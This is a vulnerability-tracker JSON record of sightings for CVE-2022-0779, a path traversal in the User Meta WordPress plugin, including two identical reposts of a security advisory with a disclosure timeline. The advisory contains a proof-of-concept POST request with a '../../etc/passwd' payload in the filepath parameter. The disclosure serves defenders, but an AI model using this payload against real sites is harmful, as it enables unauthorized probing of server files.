{"vulnerability": "cve-2022-0779", "sightings": [{"uuid": "3d951295-887f-47b1-82b2-10c9955b521e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0779", "type": "seen", "source": "https://t.me/cibsecurity/43994", "content": "\u203c CVE-2022-0779 \u203c\n\nThe User Meta WordPress plugin before 2.4.4 does not validate the filepath parameter of its um_show_uploaded_file AJAX action, which could allow low privileged users such as subscriber to enumerate the local files on the web server via path traversal payloads\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-08T15:32:05.000000Z"}, {"uuid": "921b084f-f5b4-4844-8eaa-9112ad02daa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0779", "type": "seen", "source": "https://t.me/hacking_Attack/55468", "content": "Exploit Collector\nWordPress User Meta Lite / Pro 2.4.3 Path Traversal\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nWordPress User Meta Lite and Pro plugin versions 2.4.3 and below suffer from a path traversal vulnerability.\n\nSHA-256 | 9f5dfc7d061a12ed0156906753e063fd8b488898a8f4b2709039a9ee6f78125f\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        User Meta\nVendor URL:     https://wordpress.org/plugins/user-meta\nType:           Relative Path Traversal [CWE-23]\nDate found:     2022-02-28\nDate published: 2022-05-24\nCVSSv3 Score:   4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)\nCVE:            CVE-2022-0779\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nUser Meta Lite 2.4.3 and below\nUser Meta Pro 2.4.3 and below\n4. INTRODUCTION\n===============\nAn easy-to-use user profile and management plugin for WordPress that allows\nuser login, reset-password, profile update and user registration with extra\nfields, all on front-end and many more. User Meta Pro is a versatile user\nprofile builder and user management plugin for WordPress that has the most\nfeatures on the market. User Meta aims to be your only go to plugin for\nuser management.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe WordPress ajax action \"um_show_uploaded_file\" is vulnerable to an\nauthenticated path traversal when user-supplied input to the HTTP POST\nparameter \"filepath\" is processed by the web application. Since the application\ndoes not properly validate and sanitize this parameter, it is possible to\nenumerate local server files using a blind approach. This is because the\napplication doesn't return the contents of the referenced file but instead\nreturns different form elements based on whether a file exists or not.\n\nThe following Proof-of-Concept triggers this vulnerability:\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: localhost\nContent-Length: 147\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: [your-wordpress-auth-cookies]\nConnection: close\n\nfield_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true\n6. RISK\n=======\nThe vulnerability can be used by an authenticated attacker to enumerate\nlocal server files based on a blind approach.\n7. SOLUTION\n===========\nUpdate to User Meta/User Meta Pro 2.4.4\n8. REPORT TIMELINE\n==================\n2022-02-28: Discovery of the vulnerability\n2022-02-28: WPScan (CNA) assigns CVE-2022-0779\n2022-03-03: Contacted the vendor via their contact form\n2022-03-06: Vendor response, acknowledgement of the issue\n2022-03-18: Version 2.4.2 is released\n2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.\n2022-04-13: No response, contacted vendor again\n2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.\n2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.\n2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine\n2022-05-16: Fix seems to work\n2022-05-24: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:37.720610Z"}, {"uuid": "f3710b83-487f-4568-b375-428a7f1b0b2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0779", "type": "seen", "source": "https://t.me/hacking_Attack/55468", "content": "Exploit Collector\nWordPress User Meta Lite / Pro 2.4.3 Path Traversal\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nWordPress User Meta Lite and Pro plugin versions 2.4.3 and below suffer from a path traversal vulnerability.\n\nSHA-256 | 9f5dfc7d061a12ed0156906753e063fd8b488898a8f4b2709039a9ee6f78125f\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        User Meta\nVendor URL:     https://wordpress.org/plugins/user-meta\nType:           Relative Path Traversal [CWE-23]\nDate found:     2022-02-28\nDate published: 2022-05-24\nCVSSv3 Score:   4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)\nCVE:            CVE-2022-0779\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nUser Meta Lite 2.4.3 and below\nUser Meta Pro 2.4.3 and below\n4. INTRODUCTION\n===============\nAn easy-to-use user profile and management plugin for WordPress that allows\nuser login, reset-password, profile update and user registration with extra\nfields, all on front-end and many more. User Meta Pro is a versatile user\nprofile builder and user management plugin for WordPress that has the most\nfeatures on the market. User Meta aims to be your only go to plugin for\nuser management.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe WordPress ajax action \"um_show_uploaded_file\" is vulnerable to an\nauthenticated path traversal when user-supplied input to the HTTP POST\nparameter \"filepath\" is processed by the web application. Since the application\ndoes not properly validate and sanitize this parameter, it is possible to\nenumerate local server files using a blind approach. This is because the\napplication doesn't return the contents of the referenced file but instead\nreturns different form elements based on whether a file exists or not.\n\nThe following Proof-of-Concept triggers this vulnerability:\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: localhost\nContent-Length: 147\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: [your-wordpress-auth-cookies]\nConnection: close\n\nfield_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true\n6. RISK\n=======\nThe vulnerability can be used by an authenticated attacker to enumerate\nlocal server files based on a blind approach.\n7. SOLUTION\n===========\nUpdate to User Meta/User Meta Pro 2.4.4\n8. REPORT TIMELINE\n==================\n2022-02-28: Discovery of the vulnerability\n2022-02-28: WPScan (CNA) assigns CVE-2022-0779\n2022-03-03: Contacted the vendor via their contact form\n2022-03-06: Vendor response, acknowledgement of the issue\n2022-03-18: Version 2.4.2 is released\n2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.\n2022-04-13: No response, contacted vendor again\n2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.\n2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.\n2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine\n2022-05-16: Fix seems to work\n2022-05-24: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:48.231547Z"}]}